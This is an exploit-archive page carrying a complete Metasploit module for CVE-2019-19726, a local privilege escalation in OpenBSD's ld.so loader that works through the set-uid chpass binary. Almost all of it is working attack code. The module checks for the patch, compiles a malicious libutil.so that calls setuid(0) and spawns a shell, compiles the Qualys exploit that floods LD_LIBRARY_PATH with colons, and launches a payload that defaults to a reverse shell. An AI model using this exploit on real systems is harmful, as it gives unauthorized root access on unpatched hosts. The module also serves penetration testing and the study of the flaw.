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OpenBSD Dynamic Loader chpass Privilege Escalation

OpenBSD Dynamic Loader chpass Privilege Escalation
Posted Dec 27, 2019
Authored by Brendan Coles, Qualys Security Advisory | Site metasploit.com

This Metasploit module exploits a vulnerability in the OpenBSD ld.so dynamic loader (CVE-2019-19726). The _dl_getenv() function fails to reset the LD_LIBRARY_PATH environment variable when set with approximately ARG_MAX colons. This can be abused to load libutil.so from an untrusted path, using LD_LIBRARY_PATH in combination with the chpass set-uid executable, resulting in privileged code execution. This module has been tested successfully on OpenBSD 6.1 (amd64) and OpenBSD 6.6 (amd64).

tags | exploit, code execution
systems | openbsd
advisories | CVE-2019-19726
MD5 | 0a972f77813616f87fc79b2ebe062ffb

OpenBSD Dynamic Loader chpass Privilege Escalation

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'OpenBSD Dynamic Loader chpass Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in the OpenBSD `ld.so`
dynamic loader (CVE-2019-19726).

The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`
environment variable when set with approximately `ARG_MAX` colons.

This can be abused to load `libutil.so` from an untrusted path,
using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid
executable, resulting in privileged code execution.

This module has been tested successfully on:

OpenBSD 6.1 (amd64); and
OpenBSD 6.6 (amd64)
},
'License' => MSF_LICENSE,
'Author' =>
[
'Qualys', # Discovery and exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2019-12-11',
'Platform' => %w[bsd unix], # OpenBSD
'Arch' => [ARCH_CMD],
'SessionTypes' => ['shell'],
'References' =>
[
['CVE', '2019-19726'],
['EDB', '47780'],
['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'],
['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'],
['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'],
['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'],
['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig']
],
'Targets' => [['Automatic', {}]],
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/reverse',
'WfsDelay' => 10
},
'DefaultTarget' => 0))
register_options [
OptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def chpass_path
datastore['CHPASS_PATH']
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def is_root?
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')
end

def libutil_name
return unless command_exists? 'readelf'
cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\[(libutil\.so\.[\d\.]+)\]/).flatten.first
end

def check
patches = cmd_exec('syspatch -l').to_s
patch = '013_ldso'
if patches.include? patch
vprint_error "Patch #{patch} has been installed. Target is not vulnerable."
return CheckCode::Safe
end
vprint_good "Patch #{patch} is not present"

unless command_exists? 'cc'
vprint_error 'cc is not installed'
return CheckCode::Safe
end
print_good 'cc is installed'

CheckCode::Detected
end

def exploit
unless check == CheckCode::Detected
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

# Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9
lib_data = <<-EOF
#include <paths.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
if (setuid(0) != 0) _exit(__LINE__);
if (setgid(0) != 0) _exit(__LINE__);
char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
}
EOF

libs = []
lib = libutil_name
if lib
libs << lib
print_good "Found libutil.so name: #{lib}"
else
libs << 'libutil.so.12.1'
libs << 'libutil.so.13.1'
print_warning "Could not determine libutil.so name. Using: #{libs.join(', ')}"
end

lib_src_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}.c"
upload lib_src_path, lib_data
libs.each do |lib_name|
lib_path = "#{base_dir}/#{lib_name}"
print_status "Compiling #{lib_path} ..."
output = cmd_exec "cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall"
register_file_for_cleanup lib_path

unless output.blank?
print_error output
fail_with Failure::Unknown, "#{lib_path}.c failed to compile"
end
end

# Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9
exploit_data = <<-EOF
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <unistd.h>

int
main(int argc, char * const * argv)
{
#define LLP "LD_LIBRARY_PATH=."
static char llp[ARG_MAX - 128];
memset(llp, ':', sizeof(llp)-1);
memcpy(llp, LLP, sizeof(LLP)-1);
char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };

#define DATA (ARG_MAX * sizeof(char *))
const struct rlimit data = { DATA, DATA };
if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);

if (argc <= 1) _exit(__LINE__);
argv += 1;
execve(argv[0], argv, envp);
_exit(__LINE__);
}
EOF

exploit_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload "#{exploit_path}.c", exploit_data
print_status "Compiling #{exploit_path} ..."
output = cmd_exec "cc -s #{exploit_path}.c -o #{exploit_path} -Wall"
register_file_for_cleanup exploit_path

unless output.blank?
print_error output
fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"
end

payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload payload_path, "#!/bin/sh\n#{payload.encoded}\n"
chmod payload_path

print_status 'Launching exploit...'
output = cmd_exec("cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}")
output.each_line { |line| vprint_status line.chomp }
end
end
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